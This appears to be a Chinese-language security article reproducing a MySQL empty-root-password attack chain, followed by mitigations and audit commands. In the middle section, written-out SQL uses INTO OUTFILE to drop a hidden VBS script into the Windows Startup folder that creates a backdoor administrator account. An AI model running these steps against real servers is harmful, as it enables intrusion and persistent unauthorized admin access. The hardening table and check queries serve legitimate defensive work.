本文復現經典「MySQL Root 空密碼 + INTO OUTFILE 寫入啟動項 VBS 腳本」攻擊鏈,分析每一環利用條件與緩解措施。
0.0.0.0:3306 對公網/內網開放。root@'%' 或 root@'攻擊者IP' 存在且**密碼為空**。FILE 權限 (Root 默認擁有)。secure_file_priv 未設置或包含啟動目錄路徑 (舊版本默認空)。
-- 1. 連線
mysql -u root -h 192.168.0.100
-- 2. 建表
USE test;
CREATE TABLE a (cmd TEXT);
-- 3. 注入 VBS 腳本 (建立用戶並加入管理員組)
INSERT INTO a VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO a VALUES ('a = wshShell.Run("cmd.exe /c net user hacker P@ssw0rd /add", 0)');
INSERT INTO a VALUES ('b = wshShell.Run("cmd.exe /c net localgroup administrators hacker /add", 0)');
-- 4. 導出至啟動目錄 (需繞過路徑長度/中文限制)
SELECT * FROM a INTO OUTFILE "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\evil.vbs";
-- 現代 Windows: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\evil.vbs
evil.vbs,隱藏窗口 (Run(..., 0)) 創建後門賬號。| 層面 | 措施 | 有效性 |
|---|---|---|
| 認證 | 強制 root 設置高強度密碼 | 🛡️ 根治 |
禁止 root 遠程登入 (bind-address=127.0.0.1 + skip-networking 或防火牆) | 🛡️ 根治 | |
| 刪除/重命名 root,改用專用低權限運維帳號 | 🛡️ 深度防禦 | |
| 授權 | 回收非必要帳號 FILE 權限 | 🛡️ 斷鏈 |
設置 secure_file_priv=/var/lib/mysql-files/ 限制導出目錄 | 🛡️ 斷鏈 | |
啟用 local_infile=OFF 禁用 LOAD DATA LOCAL | 🛡️ 輔助 | |
| 系統 | MySQL 服務以專用低權限用戶運行 (非 SYSTEM/Administrator) | 🛡️ 限制影響面 |
| 啟動目錄 ACL 僅允許 Administrators/TrustedInstaller 寫入 | 🛡️ 斷鏈 | |
| 部署 EDR/防病毒監控啟動目錄寫入行為 | 🛡️ 事後檢測 | |
| 網絡 | 3306 僅對應用服務器 IP 開放 (安全組/iptables) | 🛡️ 根治 |
# 檢查空密碼 root 遠程帳號
mysql -NBe "SELECT User,Host FROM mysql.user WHERE User='root' AND (Host='%' OR Host NOT IN ('localhost','127.0.0.1','::1')) AND (Password='' OR authentication_string='');"
# 檢查 secure_file_priv
mysql -NBe "SHOW VARIABLES LIKE 'secure_file_priv';"
# 檢查啟動目錄可寫權限 (Windows)
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" | findstr "(M)" # 普通用戶可寫即風險
此攻擊鏈看似「古老」,實則每年仍有暴露在公網的舊版 MySQL 實例中招。**「強密碼、禁遠程、最小權限、目錄隔離」** 四大鐵律若落實到位,攻擊鏈在第一環即斷裂。安全無小事,基線配置必須自動化、持續化驗證。